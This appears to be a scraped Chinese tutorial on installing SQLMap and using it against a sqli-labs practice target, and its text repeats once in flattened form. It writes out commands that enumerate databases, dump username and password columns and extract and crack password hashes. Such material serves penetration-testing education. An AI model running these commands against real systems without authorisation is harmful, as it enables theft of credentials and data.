最新SQLMap安装与入门技术
字数 1040 2025-08-18 11:36:53

SQLMap 安装与使用详解

一、SQLMap 简介

SQLMap 是一个自动化的 SQL 注入工具,主要功能包括:

  • 扫描、发现并利用给定 URL 的 SQL 注入漏洞
  • 内置多种绕过插件
  • 支持多种数据库:MySQL、Oracle、PostgreSQL、SQL Server、Access、DB2、SQLite、Firebird、Sybase 和 SAP MaxDB

SQLMap 支持的注入技术

  1. 基于布尔类型的盲注:根据返回页面判断条件真假
  2. 基于时间的盲注:通过条件语句查看时间延迟判断是否执行
  3. 基于报错注入:页面返回错误信息或注入语句结果
  4. 联合查询注入:可使用 Union 的情况下的注入
  5. 堆查询注入:可同时执行多条语句的注入

二、SQLMap 安装

环境要求

  • Python 环境(支持 Python 2.6、2.7 和 3.x)
  • 推荐使用 Python 3

安装步骤

  1. 从 Python 官网下载并安装 Python
  2. 安装时勾选"Add Python to environment variables"或将 Python 安装目录添加到环境变量
  3. 从 SQLMap 官网下载最新版 SQLMap
  4. 打开 cmd,输入命令 python sqlmap.py 验证是否正常运行

三、SQLMap 基本使用

1. 判断是否存在注入

基本命令格式:

python sqlmap.py -u "目标URL"

示例:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1"

注意

  • 当注入点参数≥2个时,URL需加双引号
  • 运行后会提示检测到的数据库类型等信息,一般按回车继续

2. 从文件加载HTTP请求

python sqlmap.py -r 请求文件.txt

适用于存在Cookie注入等情况

3. 查询当前用户下的所有数据库

python sqlmap.py -u "URL" --dbs

如果用户有权限,将列出所有数据库

4. 获取指定数据库中的表名

python sqlmap.py -u "URL" -D 数据库名 --tables

不加-D参数则列出所有库的表

5. 获取表中的字段名

python sqlmap.py -u "URL" -D 数据库名 -T 表名 --columns

6. 获取字段内容

python sqlmap.py -u "URL" -D 数据库名 -T 表名 -C 字段1,字段2 --dump

示例:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security -T users -C username,password --dump

7. 获取数据库所有用户

python sqlmap.py -u "URL" --users

8. 获取数据库用户密码

python sqlmap.py -u "URL" --passwords

会列出用户和密码Hash,并尝试破解

9. 获取当前网站数据库名称

python sqlmap.py -u "URL" --current-db

10. 获取当前网站数据库用户

python sqlmap.py -u "URL" --current-user

四、参数缩写说明

  • --dbs-D xxx (指定数据库)
  • --tables-T (指定表)
  • --columns-C (指定列)

五、注意事项

  1. 使用前确保获得合法授权
  2. 某些操作需要较高权限才能执行
  3. 不同数据库可能需要不同的参数和技术
  4. 实际使用中可能需要结合其他参数如cookie、代理等

SQLMap 功能强大,上述命令只是基础用法,实际渗透测试中可根据需要组合使用各种参数和技巧。

SQLMap 安装与使用详解 一、SQLMap 简介 SQLMap 是一个自动化的 SQL 注入工具,主要功能包括: 扫描、发现并利用给定 URL 的 SQL 注入漏洞 内置多种绕过插件 支持多种数据库:MySQL、Oracle、PostgreSQL、SQL Server、Access、DB2、SQLite、Firebird、Sybase 和 SAP MaxDB SQLMap 支持的注入技术 基于布尔类型的盲注 :根据返回页面判断条件真假 基于时间的盲注 :通过条件语句查看时间延迟判断是否执行 基于报错注入 :页面返回错误信息或注入语句结果 联合查询注入 :可使用 Union 的情况下的注入 堆查询注入 :可同时执行多条语句的注入 二、SQLMap 安装 环境要求 Python 环境(支持 Python 2.6、2.7 和 3.x) 推荐使用 Python 3 安装步骤 从 Python 官网下载并安装 Python 安装时勾选"Add Python to environment variables"或将 Python 安装目录添加到环境变量 从 SQLMap 官网下载最新版 SQLMap 打开 cmd,输入命令 python sqlmap.py 验证是否正常运行 三、SQLMap 基本使用 1. 判断是否存在注入 基本命令格式: 示例: 注意 : 当注入点参数≥2个时,URL需加双引号 运行后会提示检测到的数据库类型等信息,一般按回车继续 2. 从文件加载HTTP请求 适用于存在Cookie注入等情况 3. 查询当前用户下的所有数据库 如果用户有权限,将列出所有数据库 4. 获取指定数据库中的表名 不加-D参数则列出所有库的表 5. 获取表中的字段名 6. 获取字段内容 示例: 7. 获取数据库所有用户 8. 获取数据库用户密码 会列出用户和密码Hash,并尝试破解 9. 获取当前网站数据库名称 10. 获取当前网站数据库用户 四、参数缩写说明 --dbs → -D xxx (指定数据库) --tables → -T (指定表) --columns → -C (指定列) 五、注意事项 使用前确保获得合法授权 某些操作需要较高权限才能执行 不同数据库可能需要不同的参数和技术 实际使用中可能需要结合其他参数如cookie、代理等 SQLMap 功能强大,上述命令只是基础用法,实际渗透测试中可根据需要组合使用各种参数和技巧。